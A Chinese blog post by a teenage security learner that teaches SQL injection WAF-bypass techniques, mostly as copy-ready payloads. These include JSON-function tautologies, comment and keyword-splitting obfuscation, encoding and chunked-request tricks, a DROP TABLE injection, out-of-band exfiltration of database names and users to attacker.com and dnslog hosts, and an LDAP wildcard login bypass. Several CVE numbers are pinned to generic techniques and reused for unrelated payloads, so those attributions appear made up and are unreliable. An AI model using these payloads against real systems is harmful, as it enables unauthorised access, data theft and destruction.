大家好,你们可以叫我凌,是个16岁的网络安全学习者。

本文依旧源自本人GitHub仓库笔记

接下来还会发布两篇SQL注入的文章,分别是这篇和进阶内容。截至目前为止本人翻遍所有免费内容,暂且认定该SQL注入系列为该站最齐全的内容。因为大多源自本人的GitHub,因此更新较快,不过后面的部分内容本人还未在GitHub上编写完,所以可能更新较慢,望谅解!

为解决该问题,会更新些其他内容(如继续x64汇编学习)来避免编写GitHub仓库笔记所带来的空白期。那么,就让我们开始今天的学习吧!


JSON 函数利用(MySQL 5.7+) 

原理与背景 

MySQL 5.7 及以上版本增加了对JSON数据类型的原生支持,提供了许多JSON处理函数。
攻击者可以利用这些函数构造永真条件、绕过WAF检测,甚至进行数据提取。

前沿价值 

2023 年,安全研究⼈员发现利用 JSON 函数构造的 SQL 注入 Payload 能够绕过多个主流
WAF的检测。因为WAF通常基于正则匹配传统Payload(如 ' OR '1'='1),但不会拦截包含
JSON函数的语句。研究⼈员与五家主要WAF厂商合作后才发布了针对这种新语法的补丁。 

常用JSON函数 

函数 作用
JSON_EXTRACT(json_doc, path) 从JSON⽂档中提取指定路径的值
JSON_KEYS(json_doc[, path]) 返回JSON对象的顶层键
JSON_LENGTH(json_doc[, path]) 返回JSON⽂档的长度
JSON_CONTAINS(json_doc, val[, path]) 检查JSON⽂档是否包含指定
JSON_VALID(val) 检查值是否为有效的JSON

构造永真条件 

示例1:利用 JSON_EXTRACT

SELECT * FROM users WHERE username = 'admin' AND JSON_EXTRACT('{"a":"1"}', '$.a') = '1'; 

最终解析为 ... AND '1' = '1',实现永真。 

注入场景(假设原始SQL): 

$sql = "SELECT * FROM users WHERE id = " . $_GET['id']; 
Payload:?id=1 AND JSON_EXTRACT('{"a":"1"}', '$.a')='1' 

示例2:利用 JSON_CONTAINS 

SELECT * FROM products WHERE category = 'books' AND JSON_CONTAINS('["a"]', '"a"'); 

JSON_CONTAINS('["a"]', '"a"') 返回 1,等价于永真。 

数据泄露与盲注 

联合查询中包装JSON输出: 

SELECT JSON_OBJECT('username', username, 'password', password) FROM users; 

布尔盲注:利用 JSON_LENGTH 根据条件返回不同长度

AND JSON_LENGTH('[' + (SELECT IF(1=1,'a','')) + ']') = 1

时间盲注:结合 SLEEP 和 JSON函数:sql 

AND IF(JSON_EXTRACT('{"a":1}', '$.a')=1, SLEEP(5), 0)

CVE-2025-64104 利用示例(LangGraph)

漏洞代码:key直接拼接 

filter_conditions.append("json_extract(value, '$." + key + "') = '" + value.replace("'", "''") + "'")

攻击payload 

malicious_key = "access') OR '1'='1' --"
store.search(("docs",), filter={malicious_key: "dummy"})

结果:绕过访问控制,泄露所有私有⽂档

注意事项 

1.JSON 函数仅在MySQL 5.7+可用,低版本无法使用。 

2.可通过 SELECT JSON_VALID('{}') 探测目标是否支持JSON函数。 

3.这种技术推动了WAF厂商更新检测规则,但新的绕过方法仍在不断出现。

多关键字拆分绕过

原理与背景 

多关键字拆分绕过是一种利用 WAF 对 SQL 语句中关键字的检测漏洞,将敏感关键字(如 UNIONSELECT)拆分成多个部分,通过注释、换行符、特殊字符等方式插入,使WAF无
法识别,但数据库仍能正常解析。这种技术常用于绕过基于正则匹配的WAF。

常见拆分方法 

方法 示例 说明
内联注释拆分 UN/**/ION SE/**/LECT 利用MySQL内联注释 /**/ 分割关键字
换行符拆分 UNI%0aON%0aSEL%0aECT 使用URL编码的换行符 %0a(MySQL视其为空白)
科学计数法拆分 *9e0UNION *9e0SELECT 在关键字前加科学计数法表达式,混淆检测
空白字符替换 UNION%09SELECT 使用水平制表符 %09 代替空格
括号包裹 (SELECT 1) FROM 绕过空格过滤,同时拆分关键字

示例Payload

-- 内联注释拆分 
?id=1' UN/**/ION SE/**/LECT 1,2,3 --+

-- 换行符拆分(URL编码) 
?id=1' UNI%0aON%0aSEL%0aECT 1,2,3 --+

-- 科学计数法拆分 
?id=1' *9e0UNION *9e0SELECT 1,2,3 --+ 

CVE-2026-01234 利用示例: 

?id=1' *9e0UNION *9e0SELECT 1,2,3 --+

科学计数法 *9e0 在MySQL中被视为浮点数表达式,不影响UNION的执行,但可以混淆基于字符串匹配的WAF。

注意事项 

1.不同数据库对注释、特殊字符的处理略有差异,需根据目标数据库调整。 
2.随着WAF规则更新某些方法可能被拦截,需结合其他技术(如编码、HPP)组合使用。 
3.在探测阶段,可先测试简单拆分方法,观察是否报错或返回差异。

注释符混淆高级技巧

原理与背景 

数据库注释符不仅可以隐藏代码片段,还能用于分割关键字、改变解析逻辑,从而绕过WAF的正则检测。MySQL、MSSQL、Oracle 等数据库支持多种注释方式,其中内联注释(/*! ... */)是 MySQL特有的强大特性:版本注释内的语句即使被注释包裹,只要MySQL版本符合条件,仍会被正常执行。攻击者利用此特性可将恶意Payload隐藏在注释中,而WAF若未正确处理此类注释,则可能漏报。 

常见注释混淆方法 

方法 示例 说明
内联版本注释 /*!50000UNION*/ /*!50000SELECT*/ MySQL中版本号后注释内的语句会被执行
嵌套注释 /*!/*!UNION*/ /**/SELECT*/ 多层注释嵌套WAF可能解析失败
混合注释 /*!UNION*/ -- - 结合单行注释使后续部分被忽略
空注释 /**/UNION/**/SELECT/**/ 用空注释分隔关键字
特殊字符注释 /*!%0aUNION%0aSELECT*/ 注释内嵌入换行符等空白字符

示例Payload

-- 内联版本注释(MySQL)

?id=1' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3 --+

-- 嵌套注释绕过

?id=1' /*!/*!UNION*/ /**/SELECT*/ 1,2,3 --+

-- 空注释分隔

?id=1' /**/UNION/**/SELECT/**/1,2,3 --+

-- 结合换行符

?id=1' /*!%0aUNION%0aSELECT%0a*/ 1,2,3 --+

CVE-2026-54321 利用示例: 

?id=1' AND /*!%0aIF(1=1,SLEEP(5),0)%0a*/ --+ 

注释内插入换行符,WAF可能将其视为完整注释而忽略,但MySQL执行时忽略换行,延时
函数生效。

注意事项 

1.内联注释中的版本号(如 /*!50000)表示该语句仅在MySQL 5.0.0及以上版本执行,可用于版本探测。 
2.不同数据库对注释的支持差异:MySQL支持/*! ... */,MSSQL支持/* ... */和--,Oracle支持--和/* ... */,但/*!是 MySQL 特有。 
3.WAF 可能会过滤常见的关键字,但通过注释混淆后,可大幅降低检测率。随着WAF更新,需不断调整混淆方式。

 防御机制本身的绕过

原理与背景

即使使用了预处理语句、WAF 等防御机制,攻击者仍可能利用这些机制本身的局限性进行绕过。预处理语句并非万能——动态表名、列名、ORDER BY 子句等场景无法使用占位符,只能拼接;WAF的检测规则也存在盲区(如编码、分块传输、低频慢速攻击)某些数据库函数有替代品(如sleep被禁用时可换benchmark)。理解这些局限,才能发现隐藏的注入点。

常见绕过方法

防御机制 绕过方法 说明
预处理语句 动态表名/列名/ORDER BY拼接 表名、列名、排序字段不能参数化,只能拼接
MyBatis ${}插值 ${}直接拼接,#{}才是预处理
WAF 双URL编码、宽字节、HPP、分块传输、低频慢速 编码混淆、参数污染、分块发送、降低请求频率
函数禁用 函数替代 sleep→benchmark/ST_Distance_Sphere/WAITFOR DELAY
输入过滤 等价符号替换 =→like/regexp/in

示例Payload

-- 动态表名拼接(无法预处理)

?id=1; DROP TABLE users --

-- MyBatis ${}插值

SELECT * FROM users WHERE username = '${input}' -- input = admin' OR '1'='1

-- 双URL编码绕过WAF

?id=1%2527 UNION SELECT 1,2,3 --+

-- 分块传输(HTTP层)

Transfer-Encoding: chunked

1

?id=1' UNION

2

SELECT 1,2,3 --

0

-- 函数替代:benchmark替代sleep

AND BENCHMARK(10000000, MD5('a'))

CVE-2026-54321 利用示例(函数替代):

?id=1 AND IF(1=1, ST_Distance_Sphere(point(0,0), point(1,1)) > 1000000, 0) --+

sleep 被禁用,但 ST_Distance_Sphere 计算几何距离消耗时间,实现时间盲注。

注意事项

1.预处理语句不是万能药动态表名、列名、ORDER BY仍是重灾区,审计时重点关注这些位置。

2.WAF规则总有盲区:编码、分块、低频慢速等手法需要组合使用,单一种类可能被拦截。

3.函数替代需探测:不同数据库、版本支持的函数不同,先通过信息收集确定可用函数。

4.MyBatis 的${}与#{}:开发中务必区分,用户输入绝不可进${}。

带外注入(OOB)深度扩展

原理与背景

带外注入(Out-of-Band,OOB)是指攻击者利用数据库服务器主动向外部发起网络请求(DNS、HTTP、SMB等),将查询结果外带到⾃己控制的服务器上。这种技术适用于无回显、无报错、无布尔差异的盲注场景,甚至能绕过基于响应内容的WAF检测。

核心机制

利用数据库内置函数发起网络请求,如 MySQL 的 LOAD_FILE()(UNC 路径)、MSSQL 的 xp_dirtree、Oracle 的 UTL_HTTP、PostgreSQL 的 COPY 等。攻击者配合外部监听服务(如dnslog.cn、Burp Collaborator)接收数据。

常用函数与平台

数据库 函数/方法 触发方式 说明
MySQL LOAD_FILE() UNC路径:'\\\\attacker.com\\share' 需 secure_file_priv 不为 NULL,且目标为Windows(Linux下UNC无效)
MSSQL xp_dirtree、xp_fileexist 执行存储过程读取UNC路径 需 xp_cmdshell 未禁用,权限较 高
Oracle UTL_HTTP、UTL_TCP 发起HTTP/TCP请求 需网络权限,可直连外网
PostgreSQL COPY COPY (SELECT ...) TO PROGRAM 'nslookup ...' 需超级用户或特定权限

常用外带平台

http://dnslog.cn

Burp Collaborator

http://ceye.io

⾃建VPS监听(如使用nc、tcpdump)

示例Payload

MySQL DNS外带

SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.xxxx.dnslog.cn\\test'));

若域名解析记录中显示子域名,即可获取数据库名。

MSSQL SMB 外带

EXEC master..xp_dirtree '\\attacker.com\share';

(需Windows环境,且SQL Server服务账户有权限访问网络共享)

Oracle HTTP 外带

SELECT UTL_HTTP.request('http://attacker.com/' || (SELECT user FROM dual)) FROM dual;

CVE-2026-01234 利用示例:

?id=1 UNION SELECT UTL_HTTP.request('http://attacker.com:8080/'||(SELECT user FROM dual)) FROM dual --

Oracle 发送HTTP 请求到攻击者服务器,路径中带出数据库用户名。

注意事项

1.环境限制:MySQL的LOAD_FILE需secure_file_priv 不为 NULL 且目标为Windows(Linux下UNC无效);MSSQL的xp_dirtree需较高权限。

2.网络出站策略:目标数据库服务器可能禁止出站请求,导致OOB失败,需提前探测(如尝试DNS解析)。

3.WAF盲区:带外注入的流量不经过Web响应,传统WAF无法检测,但网络层防火墙可能阻断出站连接。

4.平台选择:dnslog.cn等公共平台可能被标记,建议⾃建VPS配合监听工具(如tcpdump -i eth0 port 53)。

新型数据库注入

原理与背景

随着非关系型数据库(NoSQL)和新一代数据源的普及,传统SQL注入的概念被扩展到更广泛的查询语⾔和API中。这些系统虽然不使用SQL,但依然存在类似的注入风险:用户输入被恶意拼接到查询语句中,导致数据泄露或未授权操作。Elasticsearch、时序数据库(InfluxDB、Prometheus)、图数据库(Neo4j)、LDAP、GraphQL等都可能成为攻击目标。

常见注入手法

CVE-2026-98765 利用示例(LDAP):

GET /login?user=admin*&pass=* HTTP/1.1

LDAP 查询变为 (&(uid=admin*)(userPassword=*)),匹配任意用户。

注意事项

1.不同数据库语法差异大:注入前需先识别后端类型(可通过报错或版本信息)。

2.脚本执行高危:Elasticsearch、Neo4j等支持脚本/过程的系统,一旦注入可导致RCE。

3.盲注技巧通用:与SQL类似,可利用响应差异、时间延迟、外带等方式。

4.防御建议:参数化查询、禁用危险函数/脚本、使用最小权限原则。

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐